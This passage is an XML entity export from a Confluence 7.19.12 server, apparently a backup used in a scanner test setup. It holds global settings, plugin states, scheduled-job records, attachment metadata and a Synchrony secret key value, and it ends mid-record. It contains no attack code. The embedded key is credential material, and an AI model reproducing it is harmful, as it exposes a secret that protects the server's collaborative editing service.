<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32770</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[confluence.server.installation.date]]></property>
<property name="value"><![CDATA[<date>2023-11-09 06:02:30.133 UTC</date>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32771</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[atlassian.confluence.settings]]></property>
<property name="value"><![CDATA[<settings>
<doNotSave>false</doNotSave>
<allowCamelCase>false</allowCamelCase>
<allowTrackbacks>false</allowTrackbacks>
<allowThreadedComments>true</allowThreadedComments>
<externalUserManagement>false</externalUserManagement>
<denyPublicSignup>true</denyPublicSignup>
<emailAdminMessageOff>false</emailAdminMessageOff>
<almostSupportPeriodEndMessageOff>false</almostSupportPeriodEndMessageOff>
<senMissingInLicenseMessageOff>true</senMissingInLicenseMessageOff>
<baseUrlAdminMessageOff>false</baseUrlAdminMessageOff>
<allowRemoteApi>false</allowRemoteApi>
<allowRemoteApiAnonymous>false</allowRemoteApiAnonymous>
<antiXssMode>true</antiXssMode>
<gzippingResponse>true</gzippingResponse>
<disableLogo>false</disableLogo>
<sharedMode>false</sharedMode>
<enableDidYouMean>false</enableDidYouMean>
<enableQuickNav>true</enableQuickNav>
<enableSpaceStyles>false</enableSpaceStyles>
<enableOpenSearch>true</enableOpenSearch>
<showSystemInfoIn500Page>false</showSystemInfoIn500Page>
<showApplicationTitle>false</showApplicationTitle>
<captchaSettings>
<enableCaptcha>false</enableCaptcha>
<enableDebug>false</enableDebug>
<captchaGroups class="list"/>
<exclude>registered</exclude>
</captchaSettings>
<customHtmlSettings>
<beforeHeadEnd></beforeHeadEnd>
<afterBodyStart></afterBodyStart>
<beforeBodyEnd></beforeBodyEnd>
</customHtmlSettings>
<colourSchemesSettings>
<colourSchemeType>custom</colourSchemeType>
</colourSchemesSettings>
<loginManagerSettings>
<enableElevatedSecurityCheck>true</enableElevatedSecurityCheck>
<loginAttemptsThreshold>3</loginAttemptsThreshold>
</loginManagerSettings>
<confluenceHttpParameters>
<connectionTimeout>10000</connectionTimeout>
<socketTimeout>10000</socketTimeout>
<enabled>true</enabled>
</confluenceHttpParameters>
<attachmentMaxSize>104857600</attachmentMaxSize>
<auditLogRetentionNumber>3</auditLogRetentionNumber>
<auditLogRetentionUnit>Years</auditLogRetentionUnit>
<draftSaveInterval>30000</draftSaveInterval>
<maxAttachmentsInUI>5</maxAttachmentsInUI>
<siteTitle>Confluence</siteTitle>
<documentationUrlPattern>http://docs.atlassian.com/confluence/docs-{0}/{1}</documentationUrlPattern>
<showContactAdministratorsForm>true</showContactAdministratorsForm>
<emailAddressVisibility>email.address.public</emailAddressVisibility>
<defaultEncoding>UTF-8</defaultEncoding>
<maxThumbHeight>300</maxThumbHeight>
<maxThumbWidth>300</maxThumbWidth>
<backupAttachmentsDaily>true</backupAttachmentsDaily>
<backupDaily>true</backupDaily>
<backupPath>/var/atlassian/application-data/confluence/backups</backupPath>
<nofollowExternalLinks>true</nofollowExternalLinks>
<indexingLanguage>english</indexingLanguage>
<globalDefaultLocale>en_GB</globalDefaultLocale>
<dailyBackupFilePrefix>backup-</dailyBackupFilePrefix>
<dailyBackupDateFormatPattern>yyyy_MM_dd</dailyBackupDateFormatPattern>
<supportRequestEmail>confluence-autosupportrequests@atlassian.com</supportRequestEmail>
<defaultSpaceHomepageTitle>Home</defaultSpaceHomepageTitle>
<baseUrl>http://nessus-docker.local:8090</baseUrl>
<attachmentDataStore>file.system.based.attachments.storage</attachmentDataStore>
<displayLinkIcons>false</displayLinkIcons>
<addWildcardsToUserAndGroupSearches>true</addWildcardsToUserAndGroupSearches>
<xsrfAddComments>true</xsrfAddComments>
<webSudoTimeout>10</webSudoTimeout>
<webSudoEnabled>true</webSudoEnabled>
<defaultUsersGroup>confluence-users</defaultUsersGroup>
<attachmentSecurityLevel>smart</attachmentSecurityLevel>
<enableJavascriptTop>true</enableJavascriptTop>
<supportPeriodEndMessageOff>false</supportPeriodEndMessageOff>
<enableWysiwyg>true</enableWysiwyg>
<useWysiwygByDefault>true</useWysiwygByDefault>
<numberOfBreadcrumbAncestors>1</numberOfBreadcrumbAncestors>
<viewSpaceGoesToSpaceSummary>false</viewSpaceGoesToSpaceSummary>
<enableLikes>false</enableLikes>
<currentIndexVersion>0</currentIndexVersion>
<maintenanceBannerMessageOn>false</maintenanceBannerMessageOn>
<maxSimultaneousQuickNavRequests>40</maxSimultaneousQuickNavRequests>
<maxRssItems>200</maxRssItems>
<rssTimeout>60</rssTimeout>
<pageTimeout>120</pageTimeout>
</settings>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32769</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[confluence.server.id]]></property>
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32786</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[atlassian.confluence.space.settings]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.setup.settings.SpaceSettings>
<spaceKey>ds</spaceKey>
<disableLogo>false</disableLogo>
<colourSchemesSettings>
<colourSchemeType>global</colourSchemeType>
</colourSchemesSettings>
<doNotSave>false</doNotSave>
</com.atlassian.confluence.setup.settings.SpaceSettings>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32787</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[sidebar.nav-type]]></property>
<property name="value"><![CDATA[<string>page-tree</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32784</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[atlassian.confluence.theme.settings]]></property>
<property name="value"><![CDATA[<map>
<entry>
<string>theme.key</string>
<string></string>
</entry>
</map>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32785</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[atlassian.confluence.css.resource.counter]]></property>
<property name="value"><![CDATA[<int>4</int>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32782</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[atlassian.confluence.plugin.resource.counter]]></property>
<property name="value"><![CDATA[<int>2</int>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32783</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[copyspace.copier.spacekey]]></property>
<property name="value"><![CDATA[<string>DEMO</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32780</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_950DC3_#]]></property>
<property name="value"><![CDATA[<string>20</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32781</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[plugin.manager.state.Map]]></property>
<property name="value"><![CDATA[<map>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-trashed-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-trashed-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.share-page:share-page-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-moved-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.synchrony-interop</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:request-access-notification-email-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-hipchat-integration-plugin</string>
<boolean>false</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-less-users-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.plugins.base-hipchat-integration-plugin-api</string>
<boolean>false</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-update-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-no-spaces-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.plugins.base-hipchat-integration-plugin</string>
<boolean>false</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-new-mail-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-notifications-batch-plugin:batching-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.share-page:share-attachment-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.share-page:share-draft-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-resolve-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-reply-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-hipchat-emoticons-plugin</string>
<boolean>false</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.share-page:share-page-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:forgot-password-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-remove-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:grant-access-notification-email-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-hipchat-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.labs.hipchat.confluence-hipchat</string>
<boolean>false</boolean>
</entry>
</map>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32778</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_9412A1_#]]></property>
<property name="value"><![CDATA[<string>8</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32779</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_7B47A5_#]]></property>
<property name="value"><![CDATA[<string>4</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32776</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_187CCC_#]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32777</id>
<property name="context"><![CDATA[com.atlassian.confluence.plugins.pulp]]></property>
<property name="key"><![CDATA[version.history]]></property>
<property name="value"><![CDATA[<map>
<entry>
<string>7.19.12</string>
<string>2023-11-09T06:02:36.753Z</string>
</entry>
</map>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32774</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_21D670_#]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="Secrets" package="com.atlassian.synchrony">
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad]]></id>
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32775</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_A0B856_#]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32772</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_UUID]]></property>
<property name="value"><![CDATA[<string>d32aafab-7f6d-4630-a017-f69b71948e20</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32773</id>
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
<property name="key"><![CDATA[efi.store.onboarding.plugin-installed-date-in-millis]]></property>
<property name="value"><![CDATA[<string>1699509752102</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32866</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#DailyReportJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32867</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#cacheStatsJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32864</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#BackupJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32865</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#SynchronyEventsSoftRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32862</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#MailQueueFlushJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32863</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#SchedulerRunDetailsPurgeJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32860</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ClearExpiredRememberMeTokensJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32861</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#SynchronyEventsHardRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>false</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32858</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#SystemMaintenanceTaskQueueFlusherScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32859</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ClusterSafetyJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32856</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#IndexSnapshotCleaner]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32857</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#JmxAppLoggingJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32854</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#EhCacheCompactionJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32855</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ReIndexHouseKeepingScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32852</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#LocalTaskQueueFlushJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32853</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#TrashHardRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>false</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32882</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#reminderJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32883</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#confluenceDailyStatisticsPublisherJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32880</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#onboardingNumberOfUsersCheckJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98355</id>
<property name="hibernateVersion">3</property>
<property name="title"><![CDATA[step-2-image-1.png]]></property>
<property name="lowerTitle"><![CDATA[step-2-image-1.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262201</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262203</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262205</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262207</id>
</element>
</collection>
<property name="version">1</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32881</id>
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
<property name="key"><![CDATA[efi.store.onboarding.onboardingNumberOfUsersCheckJob]]></property>
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98356</id>
<property name="hibernateVersion">3</property>
<property name="title"><![CDATA[step-2-image-3.png]]></property>
<property name="lowerTitle"><![CDATA[step-2-image-3.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262196</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262198</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262199</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262210</id>
</element>
</collection>
<property name="version">1</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32878</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#createBlueprintPageEntityCleanupJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32879</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#batchingJobConfig]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32876</id>
